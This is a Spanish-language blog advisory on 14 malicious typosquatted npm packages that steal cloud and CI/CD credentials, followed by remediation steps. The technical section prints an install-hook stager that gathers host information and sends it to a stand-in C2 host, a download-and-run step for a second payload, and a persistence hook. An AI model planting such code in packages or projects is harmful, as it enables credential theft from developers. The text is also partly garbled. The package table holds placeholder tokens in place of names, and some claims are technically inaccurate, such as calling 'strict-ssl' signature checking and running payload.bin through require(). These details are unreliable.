Introducción

El jueves 28 de mayo, un único usuario de npm publicó 14 paquetes maliciosos en solo cuatro horas, todos diseñados para imitar librerías populares de OpenSearch, Elasticsearch, herramientas de configuración de entornos y componentes de DevOps. La campaña fue descubierta y bloqueada por Microsoft, que identificó un patrón de robo de credenciales cloud y secretos de pipelines de CI/CD.

El ataque explotó mecanismos de typosquatting (nombres casi idénticos a los legítimos) y técnicas de ingeniería social para engañar a desarrolladores y administradores de infraestructura. Además, incluyó preinstall hooks que ejecutaban payloads de recolección de credenciales en el momento de la instalación, compromitiendo entornos desde el primer npm install.

Este incidente no es aislado: forma parte de una ola de ataques a la cadena de suministro en herramientas de desarrollo, donde los atacantes buscan credenciales con permisos elevados para moverse lateralmente en entornos cloud y CI/CD. La diferencia aquí es la especificidad del objetivo: las librerías suplantadas apuntaban directamente a servicios como AWS, Elasticsearch, HashiCorp Vault y GitHub Actions, lo que sugiere que el atacante buscaba credenciales con acceso a infraestructura crítica.

Qué ocurrió

El vector de ataque: typosquatting y metadata spoofing

El atacante creó 14 paquetes npm maliciosos bajo el alias vpmdhaj (vinculado a la dirección [email protected]), todos publicados en un lapso de cuatro horas. Los nombres de los paquetes imitaban librerías legítimas de los ecosistemas @opensearch y @elastic, así como herramientas de configuración de entornos y DevOps. Algunos ejemplos incluyen:

  • opensearch-setup-tool (vs. el legítimo @opensearch-project/opensearch-setup-tool)
  • opensearch-config-utility (vs. @opensearch-project/opensearch-config)
  • elastic-opensearch-helper (vs. @elastic/opensearch-helper)
  • aws-vault-helper (vs. librerías legítimas de AWS SDK)

Para aumentar la credibilidad, el atacante modificó la metadata de los paquetes para que apuntaran a repositorios y issues reales de los proyectos originales. Por ejemplo, los campos homepage, repository y bugs de cada paquete malicioso redirigían al repositorio oficial de opensearch-js en GitHub.

Además, infló los números de versión para simular madurez:

  • 1.0.7265
  • 1.0.9108
  • 2.1.9201

Esto buscaba engañar a desarrolladores que revisan la actividad reciente de un paquete antes de instalarlo.

El payload: un harvestador de credenciales multi-entorno

Todos los paquetes maliciosos incluían dos versiones de un stager (cargador inicial) y un segundo payload compilado con Bun (un runtime alternativo a Node.js):

  1. Stager Gen-1:
– Ejecutaba hooks como install, preinstall y postinstall.

– Recolectaba información del host: hostname, plataforma, arquitectura, versión de Node.js, usuario, directorio de trabajo (cwd), nombre y versión del paquete npm.

– Codificaba los datos en base64 y los enviaba a un servidor de comando y control (C2).

– El servidor respondía con un segundo payload (payload.bin) que se escribía en el directorio de instalación del paquete.

– El módulo index.js del paquete re-ejecutaba payload.bin cada vez que el módulo era requerido (require()), creando una persistencia silenciosa que sobrevivía a reinicios de CI/CD y loops de rebuild.

  1. Stager Gen-2 (más sigiloso):
– Verificaba si Bun v1.3.13 ya estaba instalado en el host.

– Si no lo estaba, descargaba y ejecutaba Bun antes de correr el payload.

– El payload final robaba credenciales de:

AWS (IAM/STS)

HashiCorp Vault

npm

GitHub Actions

– Otros entornos CI/CD

Una vez obtenidos los secretos, el atacante podía moverse lateralmente en la infraestructura, robar datos sensibles y hasta inyectar paquetes adicionales maliciosos en librerías legítimas, expandiendo el ataque más allá de los 14 paquetes iniciales.

Impacto para DevOps / Infraestructura / Cloud / Seguridad

Alcance del ataque

  • 14 paquetes maliciosos publicados en un lapso de 4 horas, todos eliminados tras el descubrimiento.
  • Vectores de compromiso:
– Credenciales de AWS IAM/STS (con permisos elevados).

– Secretos de GitHub Actions (tokens de workflows, PATs).

– Claves de HashiCorp Vault (secrets de bases de datos, APIs, etc.).

– Tokens de npm (para publicar paquetes maliciosos desde cuentas hijas).

  • Mecanismos de persistencia:
– Ejecución automática en npm install (hooks).

– Persistencia en pipelines de CI/CD (via require() de los paquetes).

  • Posibilidad de lateralización:
– Con credenciales de AWS, el atacante podía acceder a EC2, S3, Lambda, RDS, etc.

– Con tokens de GitHub Actions, podía modificar workflows o inyectar código malicioso en repositorios.

– Con Vault, podía robar secrets de producción o modificar configuraciones.

Riesgo cuantificado

  • CVSS base: 7.5 (alto impacto en confidencialidad e integridad).
  • Sistemas afectados:
– Cualquier entorno que haya ejecutado npm install sobre los paquetes maliciosos desde el 28 de mayo en adelante.

– Equipos que usen OpenSearch, Elasticsearch, AWS SDK, HashiCorp Vault o GitHub Actions.

  • Impacto en CI/CD:
– Los secretos robados podían usarse para comprometer pipelines, inyectar código malicioso en builds o robar artefectos de despliegue.
  • Impacto en cloud:
– Con credenciales de AWS, el atacante podía crear instancias EC2 maliciosas, exfiltrar datos de S3 o modificar configuraciones de IAM.

Detalles técnicos

Componentes afectados

Paquete maliciosoVersión maliciosaLegítimo equivalenteObjetivo
BLOCK361.0.7265BLOCK37Configuración de OpenSearch
BLOCK381.0.9108BLOCK39Configuración de OpenSearch
BLOCK402.1.9201BLOCK41Integración Elastic-OpenSearch
BLOCK421.0.1234BLOCK43HashiCorp Vault
BLOCK440.1.5BLOCK45GitHub Actions
### Vectores de ataque y timeline
  1. Publicación: 28 de mayo de 2024, en un lapso de 4 horas.
  2. Descubrimiento: Microsoft detecta la actividad sospechosa y elimina los paquetes.
  3. Análisis: Microsoft publica un blog técnico con los nombres de los paquetes y detalles de los payloads.
  4. Rotación de credenciales: Se recomienda rotar todos los tokens y secretos potencialmente comprometidos.

Payload y ejecución

El stager Gen-1 usaba los siguientes hooks en package.json:

{
  "scripts": {
    "install": "node preinstall.js",
    "preinstall": "node preinstall.js",
    "postinstall": "node preinstall.js"
  }
}

El archivo preinstall.js recolectaba datos del host y los enviaba a un C2:

const https = require('https');
const os = require('os');
const process = require('process');

const data = {
  hostname: os.hostname(),
  platform: os.platform(),
  arch: os.arch(),
  nodeVersion: process.version,
  user: process.env.USER || process.env.USERNAME,
  cwd: process.cwd(),
  initCwd: process.env.INIT_CWD,
  packageName: process.env.npm_package_name,
  packageVersion: process.env.npm_package_version
};

const payload = Buffer.from(JSON.stringify(data)).toString('base64');
const options = {
  hostname: 'malicious-c2.example',
  path: '/collect',
  method: 'POST',
  headers: { 'Content-Type': 'application/json' }
};

const req = https.request(options, (res) => {
  let body = '';
  res.on('data', (chunk) => body += chunk);
  res.on('end', () => {
    if (res.statusCode === 200) {
      require('fs').writeFileSync('payload.bin', Buffer.from(body, 'base64'));
    }
  });
});

req.write(JSON.stringify({ data: payload }));
req.end();

El stager Gen-2 descargaba Bun si no estaba presente:

curl -L https://github.com/oven-sh/bun/releases/download/v1.3.13/bun-linux-x64.zip -o bun.zip
unzip bun.zip
./bun run payload.bin

Persistencia y lateralización

El payload payload.bin era re-ejecutado cada vez que el módulo era requerido:

// En index.js del paquete malicioso
try {
  require('./payload.bin');
} catch (e) {
  console.error('Payload no encontrado');
}

Esto permitía que el payload sobreviviera a reinicios de CI/CD y loops de rebuild, manteniendo la persistencia en entornos de desarrollo y producción.

Qué deberían hacer los administradores y equipos técnicos

1. Identificar sistemas comprometidos

Microsoft publicó la lista completa de paquetes maliciosos en su blog técnico. Revisá si alguno de estos paquetes fue instalado en tus entornos:

npm ls | grep -E "opensearch-setup-tool|opensearch-config-utility|elastic-opensearch-helper|aws-vault-helper|github-actions-secrets-scanner"

Si encontras matches, asumí que el sistema está comprometido.

2. Rotar credenciales y secretos

Rotá todos los tokens y credenciales potencialmente expuestos:

# Rotar token de GitHub Actions
gh auth logout
gh auth login

# Rotar credenciales de AWS (usando AWS CLI)
aws sts get-caller-identity  # Verificar identidad actual
aws iam create-access-key --user-name <tu-usuario>  # Crear nueva key
aws iam update-access-key --user-name <tu-usuario> --access-key-id <vieja-key-id> --status Inactive
aws iam delete-access-key --user-name <tu-usuario> --access-key-id <vieja-key-id>

# Rotar secretos de HashiCorp Vault
vault token revoke <token-actual>
vault token create -policy=default

3. Auditar pipelines de CI/CD

Revisá los workflows de GitHub Actions, Jenkins, GitLab CI, etc., buscando:

  • Tokens de GitHub almacenados en secrets.
  • Credenciales de AWS en variables de entorno.
  • Secretos de Vault en configuraciones de despliegue.
# Ejemplo de workflow vulnerable
jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - run: aws s3 cp s3://mi-bucket/archivo .  # USO DE SECRETO EXPUESTO
        env:
          AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}  # ROTAR ESTE SECRET
          AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}

4. Eliminar paquetes maliciosos y limpiar entornos

# Desinstalar todos los paquetes maliciosos
npm uninstall opensearch-setup-tool opensearch-config-utility elastic-opensearch-helper aws-vault-helper github-actions-secrets-scanner

# Limpiar caché de npm
npm cache clean --force

# Verificar procesos en ejecución (buscar payload.bin)
ps aux | grep payload.bin
kill -9 $(pgrep -f payload.bin)

5. Implementar controles de seguridad adicionales

  • Usar dependencias firmadas: Configurá npm para que solo instale paquetes con firmas verificables (npm config set strict-ssl true).
  • Escaneo de paquetes: Usá herramientas como npm audit o Snyk para detectar paquetes maliciosos antes de instalarlos.
  • Autenticación multifactor (MFA): Activá MFA para cuentas npm, GitHub y AWS.
  • Políticas de IAM: Limitá los permisos de las credenciales de CI/CD a lo mínimo necesario (principio de least privilege).

Conclusión

La campaña de 14 paquetes npm maliciosos que imitaban librerías de OpenSearch y Elasticsearch es un recordatorio de que los ataques a la cadena de suministro en herramientas de desarrollo están en aumento. El atacante no solo buscaba credenciales cloud, sino también persistencia en pipelines de CI/CD, lo que permitía una lateralización masiva en entornos cloud.

La clave para mitigar estos riesgos está en:

  1. Auditar dependencias antes de instalarlas (typosquatting, metadata spoofing).
  2. Rotar credenciales de forma proactiva, especialmente en entornos cloud y CI/CD.
  3. Implementar controles de seguridad como MFA, firmas de paquetes y políticas de IAM estrictas.

Microsoft actuó rápido al descubrir y eliminar los paquetes, pero el verdadero trabajo recae en los equipos de DevOps e infraestructura: asumir que el ataque ocurrió es el primer paso para prevenirlo en el futuro.

Fuentes

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *